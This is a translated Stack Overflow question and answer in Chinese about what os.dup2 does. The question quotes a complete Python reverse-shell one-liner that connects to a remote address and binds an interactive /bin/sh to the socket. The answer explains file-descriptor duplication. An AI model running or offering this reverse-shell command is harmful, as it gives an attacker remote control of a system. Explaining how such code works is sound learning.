os.dup2()方法是用来做什么的?它有什么用处?

3
我正在学习Python和黑客技术,当我遇到以下代码片段时: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.20.14",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
这是用于获取反向shell的Shell代码。我确实理解Python代码,但我无法弄清楚那个os.dup2()是干什么的,以及它在那里做了什么,在最后一行中写着p=subprocess.call(["/bin/sh","-i"]),变量p如何被执行。
如果可能,请详细回答,并提供更多研究资源。

1
你尝试过文档了吗? - Mark Rotteveel
1个回答

1
dup2()是一个系统调用,它可以复制现有的文件描述符。详情请参见https://man7.org/linux/man-pages/man2/dup.2.html
文件描述符0、1和2分别代表标准输入、标准输出和标准错误输出,所以这段代码的作用是将这些文件描述符(与套接字相关联)复制到另一个文件描述符中,以供被调用的/bin/sh进程使用。

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接